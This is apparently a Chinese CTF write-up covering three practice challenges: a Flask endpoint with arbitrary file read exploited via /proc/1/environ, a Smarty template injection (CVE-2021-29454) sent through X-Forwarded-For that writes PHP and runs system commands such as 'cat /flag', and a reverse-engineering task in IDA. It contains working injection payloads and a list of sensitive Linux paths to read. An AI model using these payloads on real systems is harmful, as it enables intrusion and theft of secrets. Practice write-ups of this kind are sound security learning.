WEB
flow
创建实例,提示:
1
2
3
|
Welcome to My Flask App
This is a simple web app using Flask.
|
给出了任意文件读功能
看看 flask 应用的目录结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
my_flask_app/
│
├── app/
│ ├── __init__.py
│ ├── routes/
│ │ ├── __init__.py
│ │ ├── main.py
│ │ └── auth.py
│ ├── models/
│ │ ├── __init__.py
│ │ └── user.py
│ ├── templates/
│ │ ├── layout.html
│ │ └── home.html
│ └── static/
│ ├── css/
│ └── js/
│
├── config.py
├── requirements.txt
├── migrations/
│ └── ...
└── run.py
|
所以源码应该在 /app/main.py 中
读源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
from flask import Flask, request, render_template_string, abort
app = Flask(__name__)
HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Flask Web Application</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="display-4 text-center">Welcome to My Flask App</h1>
<p class="lead text-center">This is a simple web app using Flask.</p>
<div class="text-center">
<a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
</div>
</div>
</body>
</html>
'''
@app.route('/')
def index():
return render_template_string(HOME_PAGE_HTML)
@app.route('/file')
def file():
file_name = request.args.get('f')
if not file_name:
return "Error: No file parameter provided.", 400
try:
with open(file_name, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return abort(404, description="File not found.")
except Exception as e:
return f"Error reading file.", 500
if __name__ == '__main__':
app.run(host="127.0.0.1", port=8080)
|
尝试读环境变量,查资料得知,Linux 系统存在如下敏感路径(在存在获取任意文件读时)
该文件储存了该 Linux 系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录 Shell (以冒号作为分隔符)
proc 是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过 /proc/PID 可以访问对应 PID 的进程内核数据,而 /proc/self 访问的是当前进程的内核数据。
该文件包含的内容为当前进程执行的命令行参数。
/proc/self/mem 是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合 /proc/self/maps 中的偏移地址进行读取。通过参数 start 和 end 及偏移地址值读取内容。
/proc/self/maps 包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。
flask_session 是 flask 框架实现 session 功能的一个插件。其 session 结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session 默认 session 的储存是在用户 Cookie 中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。
查阅资料,得知 environ 文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开。变量用大写字母表示,其值用小写字母表示。可以通过查看 environ 目录来获取指定进程的环境变量信息
因此/file?f=/proc/1/environ读到flag
参考:
Proc 目录在 CTF 中的利用
攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹)
Flask 项目结构
DASCTF 2024 十月挑战赛
DASCTF十月赛其他题太过于抽象了 ~ >_< ~
[CISCN2019 华东南赛区] Web11 1
刚刚进入实例,一时不知所措
后面看到XFF
使用BP抓包,没发现什么特别的
在页面底部发现一行字:Build With Smarty !
查阅资料得知, Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。
CVE-2021-29454——Smarty模板注入
所以我们可以尝试注入如下代码:
1
|
string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
|
但传递这个Payload需要注入点,这里只有XFF可以入手
BP这样写:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
GET / HTTP/1.1
Host: node5.buuoj.cn:25829
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-Forwarded-For: string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
Content-Length: 2
|
发送两次,发现读到环境变量,代码执行成功
然后XFF传递string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+eval(system('ls /'));",$s)}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
usr
var
|
读到存在flag目录,直接 cat /flag
XFF payload: string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+eval(system('cat /flag'));",$s)}
得到flag
Reverse
[BJDCTF2020]JustRE
IDA打开
main函数中似乎没有什么有用的东西
点击菜单栏的“View”(视图)>“Open subviews”(打开子视图)>“Strings”(字符串)打开字符串窗口
发现BJD{%d%d2069a45792d233ac},跟进看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
INT_PTR __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4)
{
CHAR String[100]; // [esp+0h] [ebp-64h] BYREF
if ( a2 != 272 )
{
if ( a2 != 273 )
return 0;
if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
{
sprintf(String, Format, ++dword_4099F0);
if ( dword_4099F0 == 19999 )
{
sprintf(String, " BJD{%d%d2069a45792d233ac}", 19999, 0);
SetWindowTextA(hWnd, String);
return 0;
}
SetWindowTextA(hWnd, String);
return 0;
}
EndDialog(hWnd, (unsigned __int16)a3);
}
return 1;
}
|
这里判断是否点击次数是19999次,Format 点进去是‘您已经点了 %d 次’,说明dword_4099F0存的是点击次数。然后判断是否点击19999次,输出BJD{1999902069a45792d233ac}
说明flag是BJD{1999902069a45792d233ac}
参考:
[BJDCTF2020]JustRE